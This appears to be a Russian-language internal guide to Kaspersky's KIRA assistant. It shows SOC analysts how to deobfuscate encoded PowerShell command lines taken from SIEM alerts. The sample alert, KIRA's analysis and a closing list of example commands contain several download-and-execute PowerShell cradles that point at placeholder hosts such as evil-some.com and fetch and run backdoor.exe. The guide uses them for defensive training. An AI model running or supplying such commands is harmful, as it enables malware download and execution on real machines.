

# Работа с KIRA и примеры использования (юзкейсы)

Kaspersky Investigation and Response Assistant предоставляет аналитикам инструменты для оперативного декодирования и деобфускации строк выполнения, извлечённых из событий безопасности в режиме реального времени. Данное решение оптимизирует процесс приоритизации инцидентов, сокращая время на анализ сложных данных, и снижает квалификационные требования для аналитиков первого уровня, что повышает общую эффективность системы реагирования на инциденты.

Ключевые преимущества:

- Ускорение цикла принятия решений;
- Снижение зависимости от высокой экспертизы сотрудников;
- Повышение точности ранжирования алертов.

## Как пользоваться

Перейдите из сработки алерта во все его события по кнопке **Найти в событиях**

Наивысшая важность категории активов

Высокий

Последнее появление

09.04.2025 12:47:40

Правило корреляции

R110\_06. Кодировка исполняемого кода на PowerShell (cmd)

Идентификатор алерта

bc36b13e-9e1a-4045-a31a-2aa82e1a32c7

Связанные события

Скачать события

Найти в событиях

Время ↓	Информация о событии	Тенант
09.04.2025 12:47:40	<div>Message: Пользователь DEMO.LAB\bob на хосте pc-4.demo.lab (10.68.85.47) выполнил команду "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command '\$a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2E3Mzk2ZDkyY2FmIiwkOiOutFile backdoor.exe; Start-Process .\backdoor.exe'" по запуску powershell скрипта с функцией кодирования данных, DeviceAddress: 10.68.85.47, DeviceHostName: pc-4.demo.lab, SourceUserName: bob, DestinationAddress: 10.68.85.47, DestinationHostName: pc-4.demo.lab, DestinationUserName: -, DeviceAssetID: d97f9529-b744-404a-9e53-139923fba9cf, DeviceEventCategory: Microsoft-Windows-Security-Auditing, DeviceEventClassID: 4688, DeviceHostName: pc-4.demo.lab, DeviceNTDomain: DEMO, DeviceReceiptTime: 09.04.2025 12:48:35, DeviceTimeZone: +0300, EventOutcome: Audit Success, Severity: Безопасность, SourceAccountID: ed8c8923-fdff-49d7-a234-bdf746cd40a2, SourceNTDomain: DEMO.LAB, SourceProcessName: C:\Windows\System32\cmd.exe, SourceUserSID: S-1-5-21-2175569601-655194666-3432137315-1114, DestinationAssetID: d97f9529-b744-404a-9e53-139923fba9cf, DestinationNTDomain: -, DestinationProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, DestinationUserSID: S-1-0-0, OldFileType: Security log, DeviceCustomString1: S-1-16-8192, DeviceCustomString1Label: Mandatory Label, DeviceCustomString3: 0x5628, DeviceCustomString3Label: Process ID, DeviceCustomString4: powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command '\$a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2E3Mzk2ZDkyY2FmIiwkOiOutFile backdoor.exe; Start-Process .\backdoor.exe'", DeviceCustomString4Label: Command Line, DeviceCustomString5: 0x60d4, DeviceCustomString5Label: New Process ID, DeviceCustomString6: %%1938, DeviceCustomString6Label: Token Elevation Type, FlexString1: 0x317427b, FlexString1Label: Subject logon ID, FlexString2: 0x0</div>	Main
09.04.2025 12:47:38	<div>EndTime: 09.04.2025 12:48:35, Message: Создан новый процесс, DeviceAddress: 10.68.85.47, DeviceAssetID: d97f9529-b744-404a-9e53-139923fba9cf, DeviceEventCategory: Microsoft-Windows-Security-Auditing, DeviceEventClassID: 4688, DeviceHostName: pc-4.demo.lab, DeviceNTDomain: DEMO, DeviceProduct: Windows, DeviceReceiptTime: 09.04.2025 12:48:35</div>	Main

Далее, либо в корреляционном событии, либо в базовом на интересующем поле нажать на "три точки" и затем проанализировать:

<input type="checkbox"/>	Привязка к алерту	Time...	Name	Message	Devic
<input type="checkbox"/>	Есть	09.04.2025 12.4...	R110_06_Кодировка исполняемо...	Пользователь DEMO.LAB\bob на ...	10.66
<input type="checkbox"/>	Есть	09.04.2025 12.4...	A new process has been created.	Создан новый процесс	10.66

  

DeviceCustomString1	S-1-16-8192
DeviceCustomString1Label	Mandatory Label
DeviceCustomString3	0x5828
DeviceCustomString3Label	Process ID
DeviceCustomString4	powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "\$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')); iwr \$s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
DeviceCustomString4Label	Command Line

Возможность редактирования запроса перед отправкой в KIRA обеспечивает дополнительный уровень контроля над конфиденциальностью данных. Это особенно важно в случаях, когда анализируемые строки кода содержат чувствительную информацию, такую как персональные данные, учетные записи или ключи доступа.

## Проанализировать

Исходный запрос был деобфусцирован
✕

Осталось токенов
10000000

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Проанализировать

Действия ▾

### Результат анализа KIRA

Результат взят из локальной базы без использования токенов.

ⓘ
Результаты, предоставленные системой искусственного интеллекта, являются автоматическими и могут содержать неточности.
✕

Последнее обновление

09.04.2025

Вывод

⚠
Подозрительно

#### Краткое содержание

Команда использует PowerShell для скрытого выполнения команд, включая обход политики выполнения скриптов и декодирование URL-адреса из Base64 для загрузки и исполнения вредоносного ПО (backdoor.exe), что представляет собой значительный риск для безопасности системы.

#### Анализ

1. powershell - Запуск Windows PowerShell.
2. -NoProfile - Указывает не загружать профиль пользователя.
3. -NonInteractive - Выполняет команду без взаимодействия с пользователем.
4. -ExecutionPolicy Bypass - Обходит политику выполнения скриптов.
5. -W Hidden - Скрывает окно PowerShell при выполнении команды.
6. -Command - Передает команду непосредственно в PowerShell.
7. \$s = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6[REDACTED]om/d/backdoor.exe')) - Декодирование URL-адреса из Base64 и присвоение его значения переменной \$s.
8. iwr \$s -OutFile backdoor.exe - Использование Invoke-WebRequest(iwr) для скачивания содержимого по адресу \$s в файл backdoor.exe.
9. Start-Process .\backdoor.exe - Запуск скачанного файла backdoor.exe.

По кнопке **Действия** можно посмотреть отчет о деобфускации:

## Исходная командная строка

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s =  
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2E  
3Mzk2ZDYxY2FmZmUxOGE0Y2ZmYmlzYjQyOGM5YjYwLmNvbS9kL2JhY2tkb29yLmV4ZQ=='))  
; iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

## Итоговый результат деобфускации

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s =  
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('http://a7396d6  
1-████████████████████.com/d/backdoor.exe')); iwr $s -OutFile backdoor.exe; Start-  
Process .\backdoor.exe"
```

Командная строка с найденными закодированными (возможно  
обфусцированными) частями

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s =  
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ENCODED_B64  
_0_00')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

Детальный разбор по каждой замене (в том числе на вложенных уровнях)

ENCODED\_B64\_0\_00 → http://a7396d6-████████████████████.com/d/backdoor.exe

## Примеры команд

Команды не рабочие все ссылки заменены, но это не отменяет перепроверку и  
аккуратность использования

## Простая обфускация с использованием строк

```
$e=([char]0x68+[char]0x65+[char]0x6C+[char]0x6C+[char]0x6F);iex $e
```

## Использование Base64 для кодирования

```
powershell.exe -Command "$s =  
[Sy\u0073tem.Text.En\u0063oding]::ASCII.GetString([Sy\u0073tem.Convert]::FromBase64String('aHR0cHM6Ly9t  
YWwwd2FyZS5ydS9wYXIsb2FkX3NvbWU=')); iwr $s -UseBasicParsing | iex"
```

## Использование Base64 для кодирования с параметрами запуска PS

```
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -W Hidden -Command "$s =  
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL2FiYzkyMXRlc3RLSVJ  
BbGluay5jb20vZC9iYWNRZG9vcjEyMy5leGU=')); iwr $s -OutFile backdoor.exe; Start-Process .\backdoor.exe"
```

## Использование строковых манипуляций для скрытия команды

```
$cmd = 'powershell.exe -nop -w hidden -e ' +  
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('Invoke-WebRequest "http://evil-  
some.com/malicious123.exe" -OutFile "malicious.exe"; Start-Process "malicious.exe"')) iex ($cmd)
```

## Использование альтернативных имен для стандартных команд

```
$cmd = New-Object System.Net.WebClient; $cmd.DownloadFile("http://evil-some.com/payload123.exe",  
"C:\path\to\payload.exe")
```

---

Revision #2

Created 14 April 2025 07:29:49 by Boris RZR

Updated 14 April 2025 08:27:11 by Boris RZR